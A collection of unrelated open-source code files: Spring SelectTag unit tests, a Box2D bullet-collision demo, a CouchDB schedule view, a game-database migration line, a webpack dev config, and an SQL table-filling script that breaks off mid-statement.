(value==null) { return null; } return value.getName(); } }); getPageContext().getRequest().setAttribute(BindingResult.MODEL_KEY_PREFIX + "testBean", bindingResult); this.tag.doStartTag(); String output = getOutput(); assertThat(output.startsWith("<select ")).isTrue(); assertThat(output.endsWith("</select>")).isTrue(); assertThat(output.contains("selected=\"selected\"")).isFalse(); assertThat(output.contains("multiple=\"multiple\"")).isFalse(); } @Test public void nestedPathWithListAndEditor() throws Exception { this.tag.setPath("bean.realCountry"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); this.tag.setItemLabel("name"); TestBeanWrapper testBean = new TestBeanWrapper(); testBean.setBean(getTestBean()); BeanPropertyBindingResult bindingResult = new BeanPropertyBindingResult(testBean , "testBean"); bindingResult.getPropertyAccessor().registerCustomEditor(Country.class, new PropertyEditorSupport() { @Override public void setAsText(String text) throws IllegalArgumentException { setValue(Country.getCountryWithIsoCode(text)); } @Override public String getAsText() { return ((Country) getValue()).getName(); } }); getPageContext().getRequest().setAttribute(BindingResult.MODEL_KEY_PREFIX + "testBean", bindingResult); this.tag.doStartTag(); String output = getOutput(); assertThat(output.startsWith("<select ")).isTrue(); assertThat(output.endsWith("</select>")).isTrue(); assertThat(output.contains("option value=\"AT\" selected=\"selected\">Austria")).isTrue(); } @Test public void withListAndEditorAndNullValue() throws Exception { this.tag.setPath("realCountry"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); this.tag.setItemLabel("name"); TestBeanWithRealCountry testBean = (TestBeanWithRealCountry) getTestBean(); testBean.setRealCountry(null); BeanPropertyBindingResult bindingResult = new BeanPropertyBindingResult(testBean, "testBean"); bindingResult.getPropertyAccessor().registerCustomEditor(Country.class, new PropertyEditorSupport() { @Override public void setAsText(String text) throws IllegalArgumentException { setValue(Country.getCountryWithIsoCode(text)); } @Override public String getAsText() { Country value = (Country) getValue(); if (value==null) { return ""; } return value.getName(); } }); getPageContext().getRequest().setAttribute(BindingResult.MODEL_KEY_PREFIX + "testBean", bindingResult); this.tag.doStartTag(); String output = getOutput(); assertThat(output.startsWith("<select ")).isTrue(); assertThat(output.endsWith("</select>")).isTrue(); assertThat(output.contains("selected=\"selected\"")).isFalse(); } @Test public void withMap() throws Exception { this.tag.setPath("sex"); this.tag.setItems(getSexes()); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); } @Test public void withInvalidList() throws Exception { this.tag.setPath("country"); this.tag.setItems(new TestBean()); this.tag.setItemValue("isoCode"); assertThatExceptionOfType(JspException.class).as("use a non-Collection typed value as the value of 'items'").isThrownBy( this.tag::doStartTag) .withMessageContaining("items") .withMessageContaining("org.springframework.beans.testfixture.beans.TestBean"); } @Test public void withNestedOptions() throws Exception { this.tag.setPath("country"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.EVAL_BODY_INCLUDE); BindStatus value = (BindStatus) getPageContext().getAttribute(SelectTag.LIST_VALUE_PAGE_ATTRIBUTE); assertThat(value.getValue()).as("Selected country not exposed in page context").isEqualTo("UK"); result = this.tag.doEndTag(); assertThat(result).isEqualTo(Tag.EVAL_PAGE); this.tag.doFinally(); String output = getOutput(); assertThat(output.startsWith("<select ")).isTrue(); assertThat(output.endsWith("</select>")).isTrue(); assertContainsAttribute(output, "name", "country"); } @Test public void withStringArray() throws Exception { this.tag.setPath("name"); this.tag.setItems(getNames()); assertStringArray(); } @Test public void withResolvedStringArray() throws Exception { this.tag.setPath("name"); this.tag.setItems(getNames()); assertStringArray(); } @Test public void withIntegerArray() throws Exception { this.tag.setPath("someIntegerArray"); Integer[] array = new Integer[50]; for (int i = 0; i < array.length; i++) { array[i] = i; } this.tag.setItems(array); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(2); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("someIntegerArray"); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(array.length); Element e = (Element) selectElement.selectSingleNode("option[text() = '12']"); assertThat(e.attribute("selected").getValue()).as("'12' node not selected").isEqualTo("selected"); e = (Element) selectElement.selectSingleNode("option[text() = '34']"); assertThat(e.attribute("selected").getValue()).as("'34' node not selected").isEqualTo("selected"); } @Test public void withFloatCustom() throws Exception { PropertyEditor propertyEditor = new SimpleFloatEditor(); BeanPropertyBindingResult errors = new BeanPropertyBindingResult(getTestBean(), COMMAND_NAME); errors.getPropertyAccessor().registerCustomEditor(Float.class, propertyEditor); exposeBindingResult(errors); this.tag.setPath("myFloat"); Float[] array = new Float[] { new Float("12.30"), new Float("12.32"), new Float("12.34"), new Float("12.36"), new Float("12.38"), new Float("12.40"), new Float("12.42"), new Float("12.44"), new Float("12.46"), new Float("12.48") }; this.tag.setItems(array); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); assertThat(output.startsWith("<select ")).isTrue(); assertThat(output.endsWith("</select>")).isTrue(); SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.getName()).isEqualTo("select"); assertThat(rootElement.attribute("name").getValue()).isEqualTo("myFloat"); List children = rootElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(array.length); Element e = (Element) rootElement.selectSingleNode("option[text() = '12.34f']"); assertThat(e.attribute("selected").getValue()).as("'12.34' node not selected").isEqualTo("selected"); e = (Element) rootElement.selectSingleNode("option[text() = '12.32f']"); assertThat(e.attribute("selected")).as("'12.32' node incorrectly selected").isNull(); } @Test public void withMultiList() throws Exception { List list = new ArrayList(); list.add(Country.COUNTRY_UK); list.add(Country.COUNTRY_AT); this.bean.setSomeList(list); this.tag.setPath("someList"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(2); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("someList"); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(4); Element e = (Element) selectElement.selectSingleNode("option[@value = 'UK']"); assertThat(e.attribute("selected").getValue()).as("UK node not selected").isEqualTo("selected"); assertThat(e.getText()).isEqualTo("United Kingdom(UK)"); e = (Element) selectElement.selectSingleNode("option[@value = 'AT']"); assertThat(e.attribute("selected").getValue()).as("AT node not selected").isEqualTo("selected"); assertThat(e.getText()).isEqualTo("Austria(AT)"); } @Test public void withElementFormatter() throws Exception { this.bean.setRealCountry(Country.COUNTRY_UK); BeanPropertyBindingResult errors = new BeanPropertyBindingResult(this.bean, COMMAND_NAME); FormattingConversionService cs = new FormattingConversionService(); cs.addFormatterForFieldType(Country.class, new Formatter<Country>() { @Override public String print(Country object, Locale locale) { return object.getName(); } @Override public Country parse(String text, Locale locale) throws ParseException { return new Country(text, text); } }); errors.initConversion(cs); exposeBindingResult(errors); this.tag.setPath("realCountry"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(1); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("realCountry"); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(4); Element e = (Element) selectElement.selectSingleNode("option[@value = 'UK']"); assertThat(e.attribute("selected").getValue()).as("UK node not selected").isEqualTo("selected"); assertThat(e.getText()).isEqualTo("United Kingdom"); } @Test public void withMultiListAndElementFormatter() throws Exception { List list = new ArrayList(); list.add(Country.COUNTRY_UK); list.add(Country.COUNTRY_AT); this.bean.setSomeList(list); BeanPropertyBindingResult errors = new BeanPropertyBindingResult(this.bean, COMMAND_NAME); FormattingConversionService cs = new FormattingConversionService(); cs.addFormatterForFieldType(Country.class, new Formatter<Country>() { @Override public String print(Country object, Locale locale) { return object.getName(); } @Override public Country parse(String text, Locale locale) throws ParseException { return new Country(text, text); } }); errors.initConversion(cs); exposeBindingResult(errors); this.tag.setPath("someList"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(2); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("someList"); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(4); Element e = (Element) selectElement.selectSingleNode("option[@value = 'UK']"); assertThat(e.attribute("selected").getValue()).as("UK node not selected").isEqualTo("selected"); assertThat(e.getText()).isEqualTo("United Kingdom"); e = (Element) selectElement.selectSingleNode("option[@value = 'AT']"); assertThat(e.attribute("selected").getValue()).as("AT node not selected").isEqualTo("selected"); assertThat(e.getText()).isEqualTo("Austria"); } @Test public void withMultiListAndCustomEditor() throws Exception { List list = new ArrayList(); list.add(Country.COUNTRY_UK); list.add(Country.COUNTRY_AT); this.bean.setSomeList(list); BeanPropertyBindingResult errors = new BeanPropertyBindingResult(this.bean, COMMAND_NAME); errors.getPropertyAccessor().registerCustomEditor(List.class, new CustomCollectionEditor(ArrayList.class) { @Override public String getAsText() { return getValue().toString(); } }); exposeBindingResult(errors); this.tag.setPath("someList"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(2); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("someList"); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(4); Element e = (Element) selectElement.selectSingleNode("option[@value = 'UK']"); assertThat(e.attribute("selected").getValue()).as("UK node not selected").isEqualTo("selected"); e = (Element) selectElement.selectSingleNode("option[@value = 'AT']"); assertThat(e.attribute("selected").getValue()).as("AT node not selected").isEqualTo("selected"); } @Test public void withMultiMap() throws Exception { Map someMap = new HashMap(); someMap.put("M", "Male"); someMap.put("F", "Female"); this.bean.setSomeMap(someMap); this.tag.setPath("someMap"); this.tag.setItems(getSexes()); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(2); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("someMap"); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(2); Element e = (Element) selectElement.selectSingleNode("option[@value = 'M']"); assertThat(e.attribute("selected").getValue()).as("M node not selected").isEqualTo("selected"); e = (Element) selectElement.selectSingleNode("option[@value = 'F']"); assertThat(e.attribute("selected").getValue()).as("F node not selected").isEqualTo("selected"); } /** * Tests new support added as a result of <a * href="https://opensource.atlassian.com/projects/spring/browse/SPR-2660" * target="_blank">SPR-2660</a>. * <p> * Specifically, if the {@code items} attribute is supplied a * {@link Map}, and {@code itemValue} and {@code itemLabel} * are supplied non-null values, then: * </p> * <ul> * <li>{@code itemValue} will be used as the property name of the * map's <em>key</em>, and</li> * <li>{@code itemLabel} will be used as the property name of the * map's <em>value</em>.</li> * </ul> */ @Test public void withMultiMapWithItemValueAndItemLabel() throws Exception { // Save original default locale. final Locale defaultLocale = Locale.getDefault(); // Use a locale that doesn't result in the generation of HTML entities // (e.g., not German, where \u00e4 becomes &auml;) Locale.setDefault(Locale.US); try { final Country austria = Country.COUNTRY_AT; final Country usa = Country.COUNTRY_US; final Map someMap = new HashMap(); someMap.put(austria, LOCALE_AT); someMap.put(usa, Locale.US); this.bean.setSomeMap(someMap); this.tag.setPath("someMap"); // see: TestBean this.tag.setItems(getCountryToLocaleMap()); this.tag.setItemValue("isoCode"); // Map key: Country this.tag.setItemLabel("displayLanguage"); // Map value: Locale BeanPropertyBindingResult bindingResult = new BeanPropertyBindingResult(getTestBean(), COMMAND_NAME); bindingResult.getPropertyAccessor().registerCustomEditor(Country.class, new PropertyEditorSupport() { @Override public void setAsText(final String text) throws IllegalArgumentException { setValue(Country.getCountryWithIsoCode(text)); } @Override public String getAsText() { return ((Country) getValue()).getIsoCode(); } }); exposeBindingResult(bindingResult); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(2); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("someMap"); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(3); Element e; e = (Element) selectElement.selectSingleNode("option[@value = '" + austria.getIsoCode() + "']"); assertThat(e).as("Option node not found with Country ISO code value [" + austria.getIsoCode() + "].").isNotNull(); assertThat(e.attribute("selected").getValue()).as("AT node not selected.").isEqualTo("selected"); assertThat(e.getData()).as("AT Locale displayLanguage property not used for option label.").isEqualTo(LOCALE_AT.getDisplayLanguage()); e = (Element) selectElement.selectSingleNode("option[@value = '" + usa.getIsoCode() + "']"); assertThat(e).as("Option node not found with Country ISO code value [" + usa.getIsoCode() + "].").isNotNull(); assertThat(e.attribute("selected").getValue()).as("US node not selected.").isEqualTo("selected"); assertThat(e.getData()).as("US Locale displayLanguage property not used for option label.").isEqualTo(Locale.US.getDisplayLanguage()); } finally { // Restore original default locale. Locale.setDefault(defaultLocale); } } @Test public void multipleForCollection() throws Exception { this.bean.setSomeList(new ArrayList()); this.tag.setPath("someList"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(2); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("someList"); assertThat(selectElement.attribute("multiple").getValue()).isEqualTo("multiple"); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(4); Element inputElement = rootElement.element("input"); assertThat(inputElement).isNotNull(); } @Test public void multipleWithStringValue() throws Exception { this.tag.setPath("name"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); this.tag.setMultiple("multiple"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(2); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("name"); assertThat(selectElement.attribute("multiple").getValue()).isEqualTo("multiple"); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(4); Element inputElement = rootElement.element("input"); assertThat(inputElement).isNotNull(); } @Test public void multipleExplicitlyTrue() throws Exception { this.tag.setPath("name"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); this.tag.setMultiple("true"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(2); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("name"); assertThat(selectElement.attribute("multiple").getValue()).isEqualTo("multiple"); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(4); Element inputElement = rootElement.element("input"); assertThat(inputElement).isNotNull(); } @Test public void multipleExplicitlyFalse() throws Exception { this.tag.setPath("name"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); this.tag.setMultiple("false"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(1); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("name"); assertThat(selectElement.attribute("multiple")).isNull(); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(4); } @Test public void multipleWithBooleanTrue() throws Exception { this.tag.setPath("name"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); this.tag.setMultiple(true); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(2); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("name"); assertThat(selectElement.attribute("multiple").getValue()).isEqualTo("multiple"); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(4); Element inputElement = rootElement.element("input"); assertThat(inputElement).isNotNull(); } @Test public void multipleWithBooleanFalse() throws Exception { this.tag.setPath("name"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); this.tag.setMultiple(false); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); output = "<doc>" + output + "</doc>"; SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.elements().size()).isEqualTo(1); Element selectElement = rootElement.element("select"); assertThat(selectElement.getName()).isEqualTo("select"); assertThat(selectElement.attribute("name").getValue()).isEqualTo("name"); assertThat(selectElement.attribute("multiple")).isNull(); List children = selectElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(4); } private void assertStringArray() throws JspException, DocumentException { int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); assertThat(output.startsWith("<select ")).isTrue(); assertThat(output.endsWith("</select>")).isTrue(); SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.getName()).isEqualTo("select"); assertThat(rootElement.attribute("name").getValue()).isEqualTo("name"); List children = rootElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(4); Element e = (Element) rootElement.selectSingleNode("option[text() = 'Rob']"); assertThat(e.attribute("selected").getValue()).as("Rob node not selected").isEqualTo("selected"); } private Map getCountryToLocaleMap() { Map map = new TreeMap(new Comparator() { @Override public int compare(Object o1, Object o2) { return ((Country)o1).getName().compareTo(((Country)o2).getName()); } }); map.put(Country.COUNTRY_AT, LOCALE_AT); map.put(Country.COUNTRY_NL, LOCALE_NL); map.put(Country.COUNTRY_US, Locale.US); return map; } private String[] getNames() { return new String[]{"Rod", "Rob", "Juergen", "Adrian"}; } private Map getSexes() { Map<String, String> sexes = new HashMap<>(); sexes.put("F", "Female"); sexes.put("M", "Male"); return sexes; } private void assertList(boolean selected) throws JspException, DocumentException { this.tag.setItemValue("isoCode"); this.tag.setItemLabel("name"); this.tag.setSize("5"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); validateOutput(output, selected); assertContainsAttribute(output, "size", "5"); } private void validateOutput(String output, boolean selected) throws DocumentException { SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(output)); Element rootElement = document.getRootElement(); assertThat(rootElement.getName()).isEqualTo("select"); assertThat(rootElement.attribute("name").getValue()).isEqualTo("country"); List children = rootElement.elements(); assertThat(children.size()).as("Incorrect number of children").isEqualTo(4); Element e = (Element) rootElement.selectSingleNode("option[@value = 'UK']"); Attribute selectedAttr = e.attribute("selected"); if (selected) { assertThat(selectedAttr != null && "selected".equals(selectedAttr.getValue())).isTrue(); } else { assertThat(selectedAttr).isNull(); } } @Override protected TestBean createTestBean() { this.bean = new TestBeanWithRealCountry(); this.bean.setName("Rob"); this.bean.setCountry("UK"); this.bean.setSex("M"); this.bean.setMyFloat(new Float("12.34")); this.bean.setSomeIntegerArray(new Integer[]{12, 34}); return this.bean; } private TestBean getTestBean() { return (TestBean) getPageContext().getRequest().getAttribute(COMMAND_NAME); } public static class TestBeanWrapper { private TestBean bean; public TestBean getBean() { return bean; } public void setBean(TestBean bean) { this.bean = bean; } } }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2006-2009 Erin Catto http://www.box2d.org * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * 1. The origin of this software must not be misrepresented; you must not * claim that you wrote the original software. If you use this software * in a product, an acknowledgment in the product documentation would be * appreciated but is not required. * 2. Altered source versions must be plainly marked as such, and must not be * misrepresented as being the original software. * 3. This notice may not be removed or altered from any source distribution. */ #ifndef BULLET_TEST_H #define BULLET_TEST_H class BulletTest : public Test { public: BulletTest() { { b2BodyDef bd; bd.position.Set(0.0f, 0.0f); b2Body* body = m_world->CreateBody(&bd); b2EdgeShape edge; edge.Set(b2Vec2(-10.0f, 0.0f), b2Vec2(10.0f, 0.0f)); body->CreateFixture(&edge, 0.0f); b2PolygonShape shape; shape.SetAsBox(0.2f, 1.0f, b2Vec2(0.5f, 1.0f), 0.0f); body->CreateFixture(&shape, 0.0f); } { b2BodyDef bd; bd.type = b2_dynamicBody; bd.position.Set(0.0f, 4.0f); b2PolygonShape box; box.SetAsBox(2.0f, 0.1f); m_body = m_world->CreateBody(&bd); m_body->CreateFixture(&box, 1.0f); box.SetAsBox(0.25f, 0.25f); //m_x = RandomFloat(-1.0f, 1.0f); m_x = 0.20352793f; bd.position.Set(m_x, 10.0f); bd.bullet = true; m_bullet = m_world->CreateBody(&bd); m_bullet->CreateFixture(&box, 100.0f); m_bullet->SetLinearVelocity(b2Vec2(0.0f, -50.0f)); } } void Launch() { m_body->SetTransform(b2Vec2(0.0f, 4.0f), 0.0f); m_body->SetLinearVelocity(b2Vec2_zero); m_body->SetAngularVelocity(0.0f); m_x = RandomFloat(-1.0f, 1.0f); m_bullet->SetTransform(b2Vec2(m_x, 10.0f), 0.0f); m_bullet->SetLinearVelocity(b2Vec2(0.0f, -50.0f)); m_bullet->SetAngularVelocity(0.0f); extern int32 b2_gjkCalls, b2_gjkIters, b2_gjkMaxIters; extern int32 b2_toiCalls, b2_toiIters, b2_toiMaxIters; extern int32 b2_toiRootIters, b2_toiMaxRootIters; b2_gjkCalls = 0; b2_gjkIters = 0; b2_gjkMaxIters = 0; b2_toiCalls = 0; b2_toiIters = 0; b2_toiMaxIters = 0; b2_toiRootIters = 0; b2_toiMaxRootIters = 0; } void Step(Settings* settings) { Test::Step(settings); extern int32 b2_gjkCalls, b2_gjkIters, b2_gjkMaxIters; extern int32 b2_toiCalls, b2_toiIters; extern int32 b2_toiRootIters, b2_toiMaxRootIters; if (b2_gjkCalls > 0) { m_debugDraw.DrawString(5, m_textLine, "gjk calls = %d, ave gjk iters = %3.1f, max gjk iters = %d", b2_gjkCalls, b2_gjkIters / float32(b2_gjkCalls), b2_gjkMaxIters); m_textLine += 15; } if (b2_toiCalls > 0) { m_debugDraw.DrawString(5, m_textLine, "toi calls = %d, ave toi iters = %3.1f, max toi iters = %d", b2_toiCalls, b2_toiIters / float32(b2_toiCalls), b2_toiMaxRootIters); m_textLine += 15; m_debugDraw.DrawString(5, m_textLine, "ave toi root iters = %3.1f, max toi root iters = %d", b2_toiRootIters / float32(b2_toiCalls), b2_toiMaxRootIters); m_textLine += 15; } if (m_stepCount % 60 == 0) { Launch(); } } static Test* Create() { return new BulletTest; } b2Body* m_body; b2Body* m_bullet; float32 m_x; }; #endif
{ "pile_set_name": "Github" }
function (doc) { //PACT specific view for the case computed_ stored weeklys chedules. //key: username (no domain) //value: day of week, pact_id (patient), active_date, ended_date, index var days = ['sunday', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday']; if (doc.doc_type == "CommCareCase" && doc.domain == "pact") { //check to see it has a computed block and there are schedules in it. if (doc['computed_'] !== undefined) { if (doc['computed_']['pact_weekly_schedule'] !== undefined) { var schedules = doc['computed_']['pact_weekly_schedule']; for (var i = 0; i < schedules.length; i++) { var schedule = schedules[i]; for (var j = 0; j < days.length; j++) { var username = schedule[days[j]]; if (username == null) { continue; } else { //username, day_of_week-> (pact_id, active_date) var emission = {}; emission['day_of_week'] = j; emission['case_id'] = doc._id; emission['active_date'] = schedule.started; emission['ended_date'] = schedule.ended; emission['schedule_index'] = i; emit(username, emission); } } } } } } }
{ "pile_set_name": "Github" }
DELETE FROM `spell_script_names` WHERE `ScriptName`='spell_item_refocus';
{ "pile_set_name": "Github" }
var merge = require('webpack-merge') var prodEnv = require('./prod.env') module.exports = merge(prodEnv, { NODE_ENV: '"development"' })
{ "pile_set_name": "Github" }
start transaction; create table huge( a0 integer, a1 integer, a2 integer, a3 integer, a4 integer, a5 integer, a6 integer, a7 integer, a8 integer, a9 integer, a10 integer, a11 integer, a12 integer, a13 integer, a14 integer, a15 integer, a16 integer, a17 integer, a18 integer, a19 integer, a20 integer, a21 integer, a22 integer, a23 integer, a24 integer, a25 integer, a26 integer, a27 integer, a28 integer, a29 integer, a30 integer, a31 integer, a32 integer, a33 integer, a34 integer, a35 integer, a36 integer, a37 integer, a38 integer, a39 integer, a40 integer, a41 integer, a42 integer, a43 integer, a44 integer, a45 integer, a46 integer, a47 integer, a48 integer, a49 integer, a50 integer, a51 integer, a52 integer, a53 integer, a54 integer, a55 integer, a56 integer, a57 integer, a58 integer, a59 integer, a60 integer, a61 integer, a62 integer, a63 integer, a64 integer, a65 integer, a66 integer, a67 integer, a68 integer, a69 integer, a70 integer, a71 integer, a72 integer, a73 integer, a74 integer, a75 integer, a76 integer, a77 integer, a78 integer, a79 integer, a80 integer, a81 integer, a82 integer, a83 integer, a84 integer, a85 integer, a86 integer, a87 integer, a88 integer, a89 integer, a90 integer, a91 integer, a92 integer, a93 integer, a94 integer, a95 integer, a96 integer, a97 integer, a98 integer, a99 integer); update huge set a0 = 2 where a0 is null; update huge set a1 = 2 where a1 is null; update huge set a2 = 2 where a2 is null; update huge set a3 = 2 where a3 is null; update huge set a4 = 2 where a4 is null; update huge set a5 = 2 where a5 is null; update huge set a6 = 2 where a6 is null; update huge set a7 = 2 where a7 is null; update huge set a8 = 2 where a8 is null; update huge set a9 = 2 where a9 is null; update huge set a10 = 2 where a10 is null; update huge set a11 = 2 where a11 is null; update huge set a12 = 2 where a12 is null; update huge set a13 = 2 where a13 is null; update huge set a14 = 2 where a14 is null; update huge set a15 = 2 where a15 is null; update huge set a16 = 2 where a16 is null; update huge set a17 = 2 where a17 is null; update huge set a18 = 2 where a18 is null; update huge set a19 = 2 where a19 is null; update huge set a20 = 2 where a20 is null; update huge set a21 = 2 where a21 is null; update huge set a22 = 2 where a22 is null; update huge set a23 = 2 where a23 is null; update huge set a24 = 2 where a24 is null; update huge set a25 = 2 where a25 is null; update huge set a26 = 2 where a26 is null; update huge set a27 = 2 where a27 is null; update huge set a28 = 2 where a28 is null; update huge set a29 = 2 where a29 is null; update huge set a30 = 2 where a30 is null; update huge set a31 = 2 where a31 is null; update huge set a32 = 2 where a32 is null; update huge set a33 = 2 where a33 is null; update huge set a34 = 2 where a34 is null; update huge set a35 = 2 where a35 is null; update huge set a36 = 2 where a36 is null; update huge set a37 = 2 where a37 is null; update huge set a38 = 2 where a38 is null; update huge set a39 = 2 where a39 is null; update huge set a40 = 2 where a40 is null; update huge set a41 = 2 where a41 is null; update huge set a42 = 2 where a42 is null; update huge set a43 = 2 where a43 is null; update huge set a44 = 2 where a44 is null; update huge set a45 = 2 where a45 is null; update huge set a46 = 2 where a46 is null; update huge set a47 = 2 where a47 is null; update huge set a48 = 2 where a48 is null; update huge set a49 = 2 where a49 is null; update huge set a50 = 2 where a50 is null; update huge set a51 = 2 where a51 is null; update huge set a52 = 2 where a52 is null; update huge set a53 = 2 